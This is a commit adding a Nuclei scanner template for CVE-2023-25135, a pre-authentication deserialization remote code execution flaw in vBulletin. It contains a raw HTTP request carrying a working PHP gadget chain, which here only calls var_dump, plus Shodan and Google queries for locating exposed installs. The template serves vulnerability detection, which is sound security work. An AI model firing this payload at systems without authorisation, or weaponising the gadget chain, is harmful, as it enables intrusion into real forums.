Merge pull request #7205 from projectdiscovery/CVE-2023-25135

Create CVE-2023-25135.yaml

http/cves/2023/CVE-2023-25135.yaml

@@ -0,0 +1,49 @@
+id: CVE-2023-25135
+
+info:
+  name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.
+  reference:
+    - https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
+    - https://github.com/ambionics/vbulletin-exploits/blob/main/vbulletin-rce-cve-2023-25135.py
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-25135
+    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4473890-vbulletin-5-6-9-security-patch
+  remediation: The fixed versions are 5.6.7 PL1, 5.6.8 PL1, and 5.6.9 PL1.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cwe-id: CWE-502
+  metadata:
+    max-request: 1
+    verified: "true"
+    google-query: intext:"Powered By vBulletin"
+    shodan-query: http.component:"vBulletin"
+  tags: cve,cve2023,vbulletin,rce,kev
+
+http:
+  - raw:
+      - |
+        POST /ajax/api/user/save HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        adminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'string(14)'
+          - '"CVE-2023-25135"'
+        condition: and
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200